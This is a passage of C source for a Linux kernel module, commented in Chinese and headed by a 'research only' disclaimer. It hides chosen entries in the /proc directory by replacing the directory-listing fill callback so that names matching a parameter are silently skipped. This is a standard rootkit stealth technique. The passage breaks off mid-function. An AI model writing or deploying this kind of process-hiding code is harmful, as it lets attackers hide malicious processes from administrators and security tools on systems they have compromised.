只为研究而用 禁止用于非法行为!!!!!
/*
*通过加载此模块 来将/proc目录下的文件进行隐藏
* 使用方式 insmod xx.ko hidestr='xxxx'
* */
#include <linux/kmod.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/proc_fs.h>
#include <linux/fs.h>
#include <asm/pgtable_types.h>
#include <linux/dcache.h>
typedef int (*pfn) (struct file *, void *, filldir_t);
typedef int (*filldir)(void *, const char *, int, loff_t, u64, unsigned);
pfn addr_old;
filldir oldfill;
struct proc_dir_entry *proc_newro;
static char hidestr[256];
module_param_string(hidestr,hidestr,256,0);
int dir_fill(void *data, const char *name, int namelen, loff_t offset, u64 ino, unsigned type)
{
//比较是不是你要隐藏的文件名 是的话 直接返回0 不让其显示在/proc目录下
if(strncmp(name,hidestr,strlen(hidestr)) == 0)
return 0;
return oldfill(data,name,nam